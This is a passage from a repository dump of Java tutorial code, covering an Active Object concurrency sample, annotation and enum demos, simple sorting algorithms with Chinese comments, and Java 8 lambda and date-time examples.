    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\nabstract class MethodRequest {\n    protected final Servant servant;\n    protected final FutureResult future;\n    protected MethodRequest(Servant servant, FutureResult future) {\n        this.servant = servant;\n        this.future = future;\n    }\n    public abstract void execute();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/Proxy.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\nclass Proxy implements ActiveObject {\n    private final SchedulerThread scheduler;\n    private final Servant servant;\n    public Proxy(SchedulerThread scheduler, Servant servant) {\n        this.scheduler = scheduler;\n        this.servant = servant;\n    }\n    public Result makeString(int count, char fillchar) {\n        FutureResult future = new FutureResult();\n        scheduler.invoke(new MakeStringRequest(servant, future, count, fillchar));\n        return future;\n    }\n    public void displayString(String string) {\n        scheduler.invoke(new DisplayStringRequest(servant, string));\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/RealResult.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\nclass RealResult extends Result {\n    private final Object resultValue;\n    public RealResult(Object resultValue) {\n        this.resultValue = resultValue;\n    }\n    public Object getResultValue() {\n        return resultValue;\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/Result.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\npublic abstract class Result {\n    public abstract Object getResultValue();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/SchedulerThread.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\nclass SchedulerThread extends Thread {\n    private final ActivationQueue queue;\n    public SchedulerThread(ActivationQueue queue) {\n        this.queue = queue;\n    }\n    public void invoke(MethodRequest request) {\n        queue.putRequest(request);\n    }\n    public void run() {\n        while (true) {\n            MethodRequest request = queue.takeRequest();\n            request.execute();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/ActiveObject/Sample/activeobject/Servant.java",
    "content": "package com.jun.plugin.jdk.ActiveObject.Sample.activeobject;\n\nclass Servant implements ActiveObject {\n    public Result makeString(int count, char fillchar) {\n        char[] buffer = new char[count];\n        for (int i = 0; i < count; i++) {\n            buffer[i] = fillchar;\n            try {\n                Thread.sleep(100);\n            } catch (InterruptedException e) {\n            }\n        }\n        return new RealResult(new String(buffer));\n    }\n    public void displayString(String string) {\n        try {\n            System.out.println(\"displayString: \" + string);\n            Thread.sleep(10);\n        } catch (InterruptedException e) {\n        }\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/annotation/AnnotationDefineForTestFunction.java",
    "content": "package com.jun.plugin.jdk.annotation;\n\nimport java.lang.annotation.*;\n\n/**\n * 定义annotation\n * \n */\n// 加载在VM中，在运行时进行映射\n@Retention(RetentionPolicy.RUNTIME)\n// 限定此annotation只能标示方法\n@Target(ElementType.METHOD)\npublic @interface AnnotationDefineForTestFunction {\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/annotation/RequestForEnhancement.java",
    "content": "package com.jun.plugin.jdk.annotation;\n\npublic @interface RequestForEnhancement {\n\tint id();\n\n\tString synopsis();\n\n\tString engineer() default \"[unassigned]\";\n\n\tString date() default \"[unimplemented]\";\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/annotation/UsingAnnotation.java",
    "content": "package com.jun.plugin.jdk.annotation;\n\nimport java.lang.reflect.Method;\n\n/**\n * 一个实例程序应用前面定义的Annotation：AnnotationDefineForTestFunction\n * \n * @author Wujun\n * \n */\npublic class UsingAnnotation {\n\t@AnnotationDefineForTestFunction\n\tpublic static void method01() {\n\t}\n\n\tpublic static void method02() {\n\t}\n\n\t@AnnotationDefineForTestFunction\n\tpublic static void method03() {\n\t\tthrow new RuntimeException(\"method03\");\n\t}\n\n\tpublic static void method04() {\n\t\tthrow new RuntimeException(\"method04\");\n\t}\n\n\tpublic static void main(String[] argv) throws Exception {\n\t\tint passed = 0, failed = 0;\n\t\t// 被检测的类名\n\t\tString className = \"com.ketayao.learn.javase.annotation.UsingAnnotation\";\n\t\t// 逐个检查此类的方法，当其方法使用annotation声明时调用此方法\n\t\tfor (Method m : Class.forName(className).getMethods()) {\n\t\t\tif (m.isAnnotationPresent(AnnotationDefineForTestFunction.class)) {\n\t\t\t\ttry {\n\t\t\t\t\tm.invoke(null);\n\t\t\t\t\tpassed++;\n\t\t\t\t} catch (Throwable ex) {\n\t\t\t\t\tSystem.out.printf(\"测试 %s 失败: %s %n\", m, ex.getCause());\n\t\t\t\t\tfailed++;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tSystem.out.printf(\"测试结果：通过: %d, 失败： %d%n\", passed, failed);\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/annotation/UsingBuiltInAnnotation.java",
    "content": "package com.jun.plugin.jdk.annotation;\n\nimport java.util.List;\n\npublic class UsingBuiltInAnnotation {\n\t// 食物类\n\tclass Food {\n\t}\n\n\t// 干草类\n\tclass Hay extends Food {\n\t}\n\n\t// 动物类\n\tclass Animal {\n\t\tFood getFood() {\n\t\t\treturn null;\n\t\t}\n\n\t\t// 使用Annotation声明Deprecated方法\n\t\t@Deprecated\n\t\tvoid deprecatedMethod() {\n\t\t}\n\t}\n\n\t// 马类-继承动物类\n\tclass Horse extends Animal {\n\t\t// 使用Annotation声明覆盖方法\n\t\t@Override\n\t\tHay getFood() {\n\t\t\treturn new Hay();\n\t\t}\n\n\t\t// 使用Annotation声明禁止警告\n\t\t@SuppressWarnings({ \"deprecation\", \"unchecked\" })\n\t\tvoid callDeprecatedMethod(List horseGroup) {\n\t\t\tAnimal an = new Animal();\n\t\t\tan.deprecatedMethod();\n\t\t\thorseGroup.add(an);\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/Action.java",
    "content": "package com.jun.plugin.jdk.enums;\n\npublic enum Action {\n\tTURN_LEFT, TURN_RIGHT, SHOOT\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/DetailActioin2.java",
    "content": "package com.jun.plugin.jdk.enums;\n\n/**\n * 枚举类型既然是类，那么也就可以有构造函数。只不过不得有公开(Public)的构造函数，这是为了避免直接对枚举类型实例化。\n */\npublic enum DetailActioin2 {\n\tTURN_LEFT(\"向左转\"), TURN_RIGHT(\"向右转\"), SHOOT(\"射击\");\n\n\tprivate String description;\n\n\t// 不公开的构造函数\n\tprivate DetailActioin2(String description) {\n\t\tthis.description = description;\n\t}\n\n\tpublic String getDescription() {\n\t\treturn description;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/DetailAction.java",
    "content": "package com.jun.plugin.jdk.enums;\n\n/**\n *定义枚举类型其实就是在定义一个类，只不过很多细节由编译器帮你补齐了，所以，某种程度上enum关键词的作用就像是class或interface.\n\n   当使用enum定义枚举类型时，实际上所定义出来的类型是继承自java.lang.Enum类。而每个被枚举的成员其实就是定义的枚举类型的一个实例，\n   它们都被默认为final。无法改变常数名称所设定的值，它们也是public和static的成员，这与接口中的常量限制相同。可以通过类名称直接使用它们。\n   如1中所定义的枚举类型Action,TURN_LEFT,TURN_RIGHT,SHOOT都是Action的一个对象实例。因为是对象，所以，对象上自然有一些方法可以调用。\n   如从Object继承焉的toString()方法被重新定义了，可以让你直接取得枚举值的字符串描述；values()方法可以让您取得所有的枚举成员实例，\n   并以数组方式返回。您可以使用这两个方法来简单的将Action的枚举成员显示出来。静态valueOf()方法可以让您将指定的字符串尝试转换为枚举类型。\n   可以用compareTo()方法来比较两个枚举对象在枚举时的顺序。-1之前，0位置相同，1之后。\n   \n   对于每个枚举成员，使用ordinal()方法，依枚举顺序得到位置索引，默认以0开始。\n\n * @author Wujun\n * @since   2013年9月9日 下午5:24:43\n */\npublic enum DetailAction {\n\tTURN_LEFT, TURN_RIGHT, SHOOT;\n\n\tpublic String getDescription() {\n\t\tswitch (this.ordinal()) {\n\t\tcase 0:\n\t\t\treturn \"向左转\";\n\t\tcase 1:\n\t\t\treturn \"向右转\";\n\t\tcase 2:\n\t\t\treturn \"射击\";\n\t\tdefault:\n\t\t\treturn null;\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/DetailActionDemo.java",
    "content": "package com.jun.plugin.jdk.enums;\n\npublic class DetailActionDemo {\n\tpublic static void main(String[] args) {\n\t\tfor (DetailAction action : DetailAction.values()) {\n\t\t\tSystem.out.printf(\"%s: %s%n\", action, action.getDescription());\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/EnumDemo.java",
    "content": "package com.jun.plugin.jdk.enums;\n\npublic class EnumDemo {\n\tpublic static void main(String[] args) {\n\t\tdoAction(Action.TURN_RIGHT);\n\t}\n\n\tpublic static void doAction(Action action) {\n\t\tswitch (action) {\n\t\tcase TURN_LEFT:\n\t\t\tSystem.out.println(\"向左转\");\n\t\t\tbreak;\n\t\tcase TURN_RIGHT:\n\t\t\tSystem.out.println(\"向右转\");\n\t\t\tbreak;\n\t\tcase SHOOT:\n\t\t\tSystem.out.println(\"射击\");\n\t\t\tbreak;\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/EnumDemo2.java",
    "content": "package com.jun.plugin.jdk.enums;\n\npublic class EnumDemo2 {\n\tprivate enum InnerAction {\n\t\tTURN_LEFT, TURN_RIGHT, SHOOT\n\t};\n\n\tpublic static void main(String[] args) {\n\t\tdoAction(InnerAction.TURN_RIGHT);\n\t}\n\n\tpublic static void doAction(InnerAction action) {\n\t\tswitch (action) {\n\t\tcase TURN_LEFT:\n\t\t\tSystem.out.println(\"向左转\");\n\t\t\tbreak;\n\t\tcase TURN_RIGHT:\n\t\t\tSystem.out.println(\"向右转\");\n\t\t\tbreak;\n\t\tcase SHOOT:\n\t\t\tSystem.out.println(\"射击\");\n\t\t\tbreak;\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/IDescription.java",
    "content": "package com.jun.plugin.jdk.enums;\n\npublic interface IDescription {\n\tpublic String getDescription();\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/MoreAction.java",
    "content": "package com.jun.plugin.jdk.enums;\n\npublic enum MoreAction implements IDescription {\n\tTURN_LEFT {\n\t\t// 实现接口上的方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向左转\";\n\t\t}\n\n\t}, // 注意这里的枚举值分隔使用,\n\n\tTURN_RIGHT {\n\t\t// 实现接口上的方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向右转\";\n\t\t}\n\t}, // 注意这里的枚举值分隔使用,\n\n\tSHOOT {\n\t\t// 实现接口上的方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"射击\";\n\t\t}\n\t}; // 注意这里的枚举值结束使用;\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/MoreAction2.java",
    "content": "package com.jun.plugin.jdk.enums;\n\npublic enum MoreAction2 {\n\tTURN_LEFT {\n\t\t// 实现抽象方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向左转\";\n\t\t}\n\t}, // 记得这里的枚举值分隔使用,\n\n\tTURN_RIGHT {\n\t\t// 实现抽象方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"向右转\";\n\t\t}\n\t},\n\n\tSHOOT {\n\t\t// 实现抽象方法\n\t\tpublic String getDescription() {\n\t\t\treturn \"射击\";\n\t\t}\n\t}; // 记得这里的枚举值结束使用;\n\n\t// 声明抽象方法\n\tpublic abstract String getDescription();\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/MoreActionDemo.java",
    "content": "package com.jun.plugin.jdk.enums;\n\npublic class MoreActionDemo {\n\tpublic static void main(String[] args) {\n\t\tfor (MoreAction action : MoreAction.values()) {\n\t\t\tSystem.out.printf(\"%s: %s%n\", action, action.getDescription());\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/MoreActionDemo2.java",
    "content": "package com.jun.plugin.jdk.enums;\n\npublic class MoreActionDemo2 {\n\tpublic static void main(String[] args) {\n\t\tfor (MoreAction2 action : MoreAction2.values()) {\n\t\t\tSystem.out.printf(\"%s: %s%n\", action, action.getDescription());\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/enums/Singleton.java",
    "content": "package com.jun.plugin.jdk.enums;\n\npublic class Singleton {\n\t// 构造函数私有，只限内部调用\n\tprivate Singleton() {\n\t};\n\n\tprivate static Singleton instance = null;\n\n\tpublic static synchronized Singleton getInstance() {\n\t\tif (instance == null)\n\t\t\tinstance = new Singleton();\n\t\treturn instance;\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/sort/BubbleSort.java",
    "content": "package com.jun.plugin.jdk.sort;\n\n/** \n * 冒泡排序： \n标准的冒泡排序过程如下： \n首先比较 a[1]与 a[2]的值，若 a[1]大于 a[2]则交换两者的值，否则不变。 \n再比较 a[2]与 a[3]的值，若 a[2]大于 a[3]则交换两者的值，否则不变。 \n再比较 a[3]与 a[4]，以此类推，最后比较 a[n-1]与 a[n]的值。 \n这样处理一轮后，a[n]的值一定是这组数据中最大的。 \n再对 a[1]~a[n-1]以相同方法处理一轮。 \n共处理 n-1 轮后 a[1]、a[2]、……a[n]就以升序排列了。  \n过程举例： \n初始元素序列：  8          3          2          5        9        3*      6 \n第一趟排序：      3          2          5          8        3*      6  【  9  】 \n第二趟排序：      2          3          5          3*      6    【8        9  】 \n第三趟排序：      2          3          3*        5  【  6        8        9  】 \n第四趟排序：      2          3          3*    【5        6        8        9  】 \n第五趟排序：      2          3      【3*        5        6        8        9  】 \n第六趟排序：      2        【3        3*        5        6        8        9  】 \n * @author Wujun\n * @since   2014年1月23日 下午3:38:49 \n */\npublic class BubbleSort extends Sort{\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tnew BubbleSort().sort(array);\n\t}\n\n\tpublic void execute(int[] array) {\n\t\t\n\t\tfor (int i = 0; i < array.length - 1; i++) {\n\t\t\tfor (int j = i + 1; j < array.length; j++) {\n\t\t\t\tif (array[i] > array[j]) {\n\t\t\t\t\tint array_j = array[j]; \n\t\t\t\t\tarray[j] = array[i];\n\t\t\t\t\tarray[i] = array_j;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/sort/InsertionSort.java",
    "content": "package com.jun.plugin.jdk.sort;\n\n/** \n * 直接插入排序 \n算法描述： \n每步将一个待排序元素，插入到前面已经排好序的一组元素的适当位置上，直到全部\n元素插入为止。 \n \n过程举例： \n初始元素序列：    【8  】  3          2        5        9        3*        6 \n第一趟排序：        【3        8】      2        5        9        3*        6 \n第二趟排序：        【2        3          8】    5        9        3*        6 \n第三趟排序：        【2        3          5        8】    9        3*        6 \n第四趟排序：        【2        3          5        8        9】    3*        6 \n第五趟排序：        【2        3          3*      5        8        9】      6 \n第六趟排序：        【2        3          3*      5        6        8          9】 \n * @author Wujun\n * @since   2014年1月23日 下午4:45:59 \n */\npublic class InsertionSort extends Sort {\n\tpublic static void main(String[] args) {\n\t\tnew InsertionSort().sort(array);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see sort.Sort#execute(int[])\n\t */\n\t@Override\n\tpublic void execute(int[] array) {\n\t\tfor (int i = 1; i < array.length; i++) {\n\t\t\tfor (int j = 0; j < i; j++) {\n\t\t\t\tif (array[j] > array[i]) {\n\t\t\t\t\tint small = array[i];\n\t\t\t\t\tarray[i] = array[j];\n\t\t\t\t\tarray[j] = small;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/sort/SelectionSort.java",
    "content": "package com.jun.plugin.jdk.sort;\n\n/** \n * 直接选择排序 \n算法描述： \n首先找出最大的元素，将其与 a[n-1]位置交换； \n然后在余下的 n-1 个元素中寻找最大的元素，将其与 a[n-2]位置交换， \n如此进行下去直至 n 个元素排序完毕。 \n \n过程举例： \n初始元素序列：      8          3          2        5        9        3*        6 \n第一趟排序：          8            3          2        5      6        3*  【9  】 \n第二趟排序：          3*        3          2        5        6  【  8        9  】 \n第三趟排序：          3*        3          2        5    【6        8        9  】 \n第四趟排序：          3*        3          2    【5        6        8        9  】 \n第五趟排序：          2          3      【3*      5        6        8        9  】 \n第六趟排序：          2    【  3          3*      5        6        8        9  】 \n * @author Wujun\n * @since   2014年1月23日 下午3:49:15 \n */\npublic class SelectionSort extends Sort {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tnew SelectionSort().sort(array);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see sort.Sort#execute(int[])\n\t */\n\t@Override\n\tpublic void execute(int[] array) {\n\t\tfor (int i = 0; i < array.length - 1; i++) {\n\t\t\tint k = i;\n\t\t\tfor (int j = i + 1; j < array.length; j++) {\n\t\t\t\tif (array[k] > array[j]) {\n\t\t\t\t\tk = j;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tint small = array[k];\n\t\t\tarray[k] = array[i];\n\t\t\tarray[i] = small;\n\t\t}\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/sort/ShellSort.java",
    "content": "package com.jun.plugin.jdk.sort;\n\n/** \n * 希尔排序 \n希尔排序(Shell Sort)是插入排序的一种。是针对直接插入排序算法的改进。该方法又称缩\n小增量排序，因 DL．Shell 于 1959 年提出而得名。 \n希尔排序属于插入类排序,是将整个无序列分割成若干小的子序列分别进行插入排序  \n \n算法描述：  \n先取一个正整数 d1<n，把所有序号相隔 d1 的数组元素放一组，组内进行直接插入排\n序；然后取 d2<d1，重复上述分组和排序操作；直至 di=1，即所有记录放进一个组中\n排序为止 。 \n \n过程举例： \n假设待排序文件有 10 个记录，其关键字分别是：  \n49，38，65，97，76，13，27，49，55，04。  \n增量序列 d 的取值依次为：  \n5，3，1  \n \nd=5  \n    49 38 65 97 76 13 27 49* 55 04  \n    49 13  \n    |-------------------|  \n    38 27  \n    |-------------------|  \n    65 49*  \n    |-------------------|  \n    97 55  \n    |-------------------|  \n    76 04  \n    |-------------------|  \n    一趟结果  \n13 27 49* 55 04 49 38 65 97 76  \n-------------------------------------------------------------------- \n     d=3  \n    13 27 49* 55 04 49 38 65 97 76  \n    13 55 38 76  \n    |------------|------------|------------|  \n    27 04 65  \n    |------------|------------|  \n    49* 49 97  \n    |------------|------------|  \n    二趟结果  \n13 04 49* 38 27 49 55 65 97 76  \n--------------------------------------------------------------------- \n \n    d=1  \n    13 04 49* 38 27 49 55 65 97 76  \n    |----|----|----|----|----|----|----|----|----|  \n    三趟结果  \n    04 13 27 38 49* 49 55 65 76 97  \n--------------------------------------------------------------------- \n * @author Wujun\n * @since   2014年1月23日 下午4:56:56 \n */\npublic class ShellSort extends Sort {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\tnew ShellSort().sort(array);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see sort.Sort#execute(int[])\n\t */\n\t@Override\n\tpublic void execute(int[] array) {\n//\t  int i,j,k;   \n//\t  int t;   \n//\t\t \n//\t\tk = array.length / 2;\n//\t\tSystem.out.println(k + \"--\");\n//\t\twhile (k > 0) {\n//\t\t\tfor (i = k; i < array.length; i++) {\n//\t\t\t\tt = array[i];\n//\t\t\t\tfor (j = i - k; j >= 0 && array[j] > t; j -= k)\n//\t\t\t\t\tarray[j + k] = array[j];\n//\t\t\t\tarray[j + k] = t;\n//\t\t\t}\n//\t\t\tk /= 2;\n//\t\t\tSystem.out.println(k + \"--\");\n//\t\t\tprint(array);\n//\t\t}\n\t\t\n\t\t\n\t\tint d = array.length / 2;\n\t\twhile (d > 0) {\n\t\t\tSystem.out.println(d + \"--\");\n\t\t\tfor (int i = d; i < array.length; i++) {\n\t\t\t\tint t = array[i];\n\t\t\t\tint j;\n\t\t\t\tfor (j = i - d; j >= 0 && array[j] > t; j -= d) {\n\t\t\t\t\tarray[j + d] = array[j];\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tarray[j + d] = t; \n\t\t\t}\n\t\t\tprint(array);\n\t\t\td /= 2;\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk/sort/Sort.java",
    "content": "package com.jun.plugin.jdk.sort;\n\n/** \n * 常见排序算法 \n \n排序是计算机内经常进行的一种操作，其目的是将一组“无序”的记录序列调整为“有序”的记\n录序列。 \n \n排序分内排序和外排序。 \n内排序：指在排序期间数据对象全部存放在内存的排序。 \n外排序：指在排序期间全部对象个数太多，不能同时存放在内存，必须根据排序过程的要求，\n不断在内、外存之间移动的排序。 \n \n内排序的方法有许多种，按所用策略不同，可归纳为五类：插入排序、选择排序、交\n换排序、归并排序和分配排序。 \n插入排序主要包括直接插入排序和希尔排序两种； \n选择排序主要包括直接选择排序和堆排序； \n交换排序主要包括冒泡排序和快速排序； \n归并排序主要包括二路归并（常用的归并排序）和自然归并。 \n分配排序主要包括箱排序和基数排序。 \n \n稳定排序：假设在待排序的文件中，存在两个或两个以上的记录具有相同的关键字，\n在用某种排序法排序后，若这些相同关键字的元素的相对次序仍然不变，则这种排序\n方法是稳定的。 \n其中冒泡，插入，基数，归并属于稳定排序； \n选择，快速，希尔，堆属于不稳定排序。 \n \n时间复杂度是衡量算法好坏的最重要的标志。 \n排序的时间复杂度与算法执行中的数据比较次数与数据移动次数密切相关。 \n \n以下给出介绍简单的排序方法：插入排序，选择排序，冒泡排序。 \n三种算法的时间复杂度都是 n 2 级的。 \n * @author Wujun\n * @since   2014年1月23日 下午3:43:34 \n */\npublic abstract class Sort {\n\tprotected static int[] array = {34, 6, 32, 1, 90, 11};\n\t\n\tpublic void print(int[] array) {\n\t\tStringBuilder builder = new StringBuilder();\n\t\tfor (int i = 0; i < array.length; i++) {\n\t\t\tbuilder.append(array[i] + \",\");\n\t\t}\n\t\t\n\t\tif (builder.length() > 0) {\n\t\t\tSystem.out.println(builder.substring(0, builder.length() - 1));\n\t\t} else {\n\t\t\tSystem.out.println(builder.toString());\n\t\t}\n\t}\n\t\n\tpublic void sort(int[] array) {\n\t\texecute(array);\n\t\tprint(array);\n\t}\n\t\n\tpublic abstract void execute(int[] array);\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk8/LambdaTest.java",
    "content": "package com.jun.plugin.jdk8;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\nimport com.alibaba.fastjson.JSON;\n\n/**\n * @Title: lambdaTest\n * @Description: 拉姆达表达式\n * \n * @Version:1.0.0\n * @author pancm\n * @date 2018年8月28日\n */\npublic class LambdaTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\ttest1();\n\t\ttest2();\n\t}\n\n\tprivate static void test1() {\n\n\t\tMap<String, String> map = new HashMap<>();\n\t\tmap.put(\"a\", \"a\");\n\t\tmap.put(\"b\", \"b\");\n\t\tmap.put(\"c\", \"c\");\n\t\tmap.put(\"d\", \"d\");\n\n\t\tSystem.out.println(\"map普通方式遍历:\");\n\t\tfor (String key : map.keySet()) {\n\t\t\tSystem.out.println(\"k=\" + key + \"，v=\" + map.get(key));\n\t\t}\n\n\t\tSystem.out.println(\"map拉姆达表达式遍历:\");\n\t\tmap.forEach((k, v) -> {\n\t\t\tSystem.out.println(\"k=\" + k + \"，v=\" + v);\n\t\t});\n\n\t\t\n\t\t\n\t\tList<String> list = new ArrayList<String>();\n\t\tlist.add(\"a\");\n\t\tlist.add(\"bb\");\n\t\tlist.add(\"ccc\");\n\t\tlist.add(\"dddd\");\n\t\tSystem.out.println(\"list拉姆达表达式遍历:\");\n\t\tlist.forEach(v -> {\n\t\t\tSystem.out.println(v);\n\t\t});\n\t\tSystem.out.println(\"list双冒号运算符遍历:\");\n\t\tlist.forEach(System.out::println);\n\n\t}\n\n\tprivate static void test2() {\n\t\tList<User> list = new ArrayList<User>();\n\t\tList<User> list2 = new ArrayList<User>();\n\t\tlist.add(new User(1, \"张三\"));\n\t\tlist.add(new User(2, \"李四\"));\n\t\tlist.add(new User(3, \"王五\"));\n\t\tlist.add(new User(4, \"赵六\"));\n\t\tSystem.out.println(\"list:\" + list);\n\t\tlist.forEach(v -> {\n\t\t\tif (v.getId() > 2) {\n\t\t\t\tlist2.add(v);\n\t\t\t}\n\t\t});\n\t\tSystem.out.println(\"list2:\" + list2);\n\t}\n\t\n\t//使用普通的方式创建\n\tRunnable r1 = new Runnable() {\n\t\t@Override\n\t\tpublic void run() {\n\t\t\tSystem.out.println(\"普通方式创建!\");\n\t\t}\n\t};\n\t\n\t//使用拉姆达方式创建\n\tRunnable r2 = ()-> System.out.println(\"拉姆达方式创建!\");\n\t\n\n}\n\nclass User {\n\n\t/** 编号 */\n\tprivate int id;\n\t/** 姓名 */\n\tprivate String name;\n\n\tpublic User() {\n\t}\n\n\t/**\n\t * 构造方法\n\t * \n\t * @param id   编号\n\t * @param name 姓名\n\t */\n\tpublic User(int id, String name) {\n\t\tsuper();\n\t\tthis.id = id;\n\t\tthis.name = name;\n\t}\n\n\t/**\n\t * 获取编号\n\t * \n\t * @return id\n\t */\n\tpublic int getId() {\n\t\treturn id;\n\t}\n\n\t/**\n\t * 设置编号\n\t * \n\t * @param id\n\t */\n\tpublic void setId(int id) {\n\t\tthis.id = id;\n\t}\n\n\t/**\n\t * 获取姓名\n\t * \n\t * @return name\n\t */\n\tpublic String getName() {\n\t\tSystem.out.println(\"姓名:\" + name);\n\t\treturn name;\n\t}\n\n\t/**\n\t * 设置姓名\n\t * \n\t * @param name\n\t */\n\tpublic void setName(String name) {\n\t\tthis.name = name;\n\t}\n\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic Map toMap() {\n\t\treturn JSON.parseObject(toString(), HashMap.class);\n\t}\n\n\t/** \n\t * \n\t */\n\t@Override\n\tpublic String toString() {\n\t\treturn \"{\\\"id\\\":\\\"\" + id + \"\\\",\\\"name\\\":\\\"\" + name + \"\\\"}\";\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jdk/src/main/java/com/jun/plugin/jdk8/LocalDateTimeTest.java",
    "content": "package com.jun.plugin.jdk8;\n\nimport java.time.Clock;\nimport java.time.Duration;\nimport java.time.Instant;\nimport java.time.LocalDate;\nimport java.time.LocalDateTime;\nimport java.time.Month;\nimport java.time.Period;\nimport java.time.ZoneId;\nimport java.time.ZonedDateTime;\nimport java.time.format.DateTimeFormatter;\nimport java.time.temporal.ChronoUnit;\n\n/**\n* @Title: timeTest\n* @Description: \n* 时间测试\n* @Version:1.0.0  \n* @author pancm\n* @date 2018年6月21日\n*/\npublic class LocalDateTimeTest {\n\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\t\t\n\t\t\n\t\t/*\n\t\t   \n\t\t   新版API中java.time包里的一些关键类：\n\n\t\t\tInstant：瞬时实例。\n\t\t\tLocalDate：本地日期，不包含具体时间 例如：2014-01-14 可以用来记录生日、纪念日、加盟日等。\n\t\t\tLocalTime：本地时间，不包含日期。\n\t\t\tLocalDateTime：组合了日期和时间，但不包含时差和时区信息。\n\t\t\tZonedDateTime：最完整的日期时间，包含时区和相对UTC或格林威治的时差。\n\t\t   \n\t\t   \n\t\t   Java 8日期时间API 使用说明:\n\t\t   \n\t\t    1）提供了javax.time.ZoneId 获取时区。\n\n\t\t\t2）提供了LocalDate和LocalTime类。\n\t\t\t\n\t\t\t3）Java 8 的所有日期和时间API都是不可变类并且线程安全，而现有的Date和Calendar API中的java.util.Date和SimpleDateFormat是非线程安全的。\n\t\t\t\n\t\t\t4）主包是 java.time,包含了表示日期、时间、时间间隔的一些类。里面有两个子包java.time.format用于格式化， java.time.temporal用于更底层的操作。\n\t\t\t\n\t\t\t5）时区代表了地球上某个区域内普遍使用的标准时间。每个时区都有一个代号，格式通常由区域/城市构成（Asia/Tokyo），在加上与格林威治或 UTC的时差。例如：东京的时差是+09:00。\n\t\t\t\n\t\t\t6）OffsetDateTime类实际上组合了LocalDateTime类和ZoneOffset类。用来表示包含和格林威治或UTC时差的完整日期（年、月、日）和时间（时、分、秒、纳秒）信息。\n\t\t\t\n\t\t\t7）DateTimeFormatter 类用来格式化和解析时间。与SimpleDateFormat不同，这个类不可变并且线程安全，需要时可以给静态常量赋值。 